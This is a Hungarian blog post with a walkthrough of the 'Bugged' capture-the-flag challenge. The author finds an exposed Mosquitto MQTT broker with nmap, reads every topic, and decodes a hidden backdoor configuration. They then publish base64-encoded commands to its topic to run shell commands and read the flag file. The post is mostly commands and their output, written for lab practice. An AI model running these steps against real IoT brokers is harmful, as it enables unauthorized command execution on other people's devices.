HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF
  • sdani: @Travis.CG: Egy kis szerencse sosem árt. :D (2024.03.01. 13:19) A bioinformatika helyzete 2024-ben
  • Travis.CG: Szóval az akadémiai szféra mazochistává tett, amit a Pinephone-al élek ki? Hmm, érdekes összefüggé... (2023.10.05. 18:23) Új barátom az Informatikai titkárságról
  • Travis.CG: Túl nagy a hype körülötte, ezért túlzó elvárások vannak vele szembe. Ha a korábbi chatbotokhoz kép... (2023.02.28. 06:28) chatGPT, a bioinformatikus

Bugged CTF

2025.01.05. 18:42 Travis.CG

Ez egy elég nehezen induló CTF volt. A leírás szerint John IoT eszközöket tesztel, amikor valami szokatlanra lesz figyelmes a hálózati kommunikációban. A nagy meglepetés akkor jött, amikor a szokásos nmap keresésekkel egyetlen nyitott portot sem találtam. Elég reménytelennek tűnt, hogy meg tudom oldani a feladatot, ha semmihez nem tudok kapcsolódni.

Akkor arra gondoltam, talán fordítva kellene megközelíteni a dolgot. Ahelyett, hogy agyba-főbe szkennelnék, ismeretlen szolgáltatások után kutatva, talán pont azokat a portokat kellene csak nézni, ahol IoT eszközök szoktak kommunikálni.

nmap -sV -Pn -T4 -p 1883,8883,5683,5684 $IP

Rögtön meg is találtam az 1883-as nyitott portot, ami a Mosquitto bróker dedikált portja. Erről azt kell tudni, hogy összegyűjti az összes eszköz üzeneteit. Minden eszköz egy úgynevezett topic-ot kap, amin keresztül az eszköz elküldi saját állapotát, illetve utasításokat küldhetünk. Két paranccsot kell ismerni: mosquitto_sub, illetve a mosquitto_pub. Először az összes topic üzenetét megnézzük:

mosquitto_sub -h $IP -t "#" -v

Ilyen üzeneteket fogunk kapni:

storage/thermostat {"id":16399166308056728698,"temperature":23.84387}
frontdeck/camera {"id":10197626378469785711,"yaxis":-52.378067,"xaxis":169.65857,"zoom":4.9340644,"movement":false}
kitchen/toaster {"id":11240011071394374848,"in_use":true,"temperature":145.64915,"toast_time":182}
patio/lights {"id":10737355647360197010,"color":"WHITE","status":"OFF"}
livingroom/speaker {"id":17707635654923183114,"gain":55}
storage/thermostat {"id":9129473732134212486,"temperature":23.747482}

Az első oszlop a topic, a második az üzenet maga. Mint látható, a termosztát, a kenyérpirító és a fények rendben működnek. Aztán kapunk valami ilyesmit:

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

Ez már érdekes, kezdünk közelebb jutni a megoldáshoz. Base64 kódolású. Dekódolás után ezt kapjuk:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Két újabb topic. A név alapján az egyiken üzeneteket küldhetünk, a másikon üzeneteket fogadhatunk. Legalábbis ezt feltételeztem. Már csak azt kell kitalálni, hogy milyen formában, és hova kell elküldeni az üzenetete. Itt próba-szerencse alapon küldtem ki az üzeneteket és néztem, mit válaszol a rendszer. A sub_topic-ra kell küldeni és a választ a pub_topic-ba kapjuk. Pont ellentétesen, mint ahogy feltételeztem. Ezért csak azt a topic-ot figyeltem ezután, amelyikre a válaszok érkeztek:

mosquitto_sub -h $IP -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

A leírás szerint mindent base64-el kell kódolni, ezért elbohóckodtam pár percet azzal, hogy pipe-oljam a mosquitto-t a base64-el, de a bufferelés miatt nem jártam sikerrel. Próbáltam az unbuffer-t is, de valami miatt azzal sem ment. Kénytelen voltam a cyberchef segítségét kérni. Kicsit kényelmetlen volt. Valószínűleg egy Python szkripttel meggyorsítható a folyamat, de sejtettem, hogy már közel a vége.

Először egy HELP kérést küldtem.

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJIRUxQIiwgImFyZyI6IiJ9'

A válasz részletesen leírta a használandó szintaktikát. Utána már bármilyen shell parancsot tudunk küldeni. Kiírathatjuk a flag.txt tartalmát:

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoiY2F0IGZsYWcudHh0In0='

Szólj hozzá!

Címkék: biztonság

A bejegyzés trackback címe:

https://cybernetic.blog.hu/api/trackback/id/tr1018766406

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása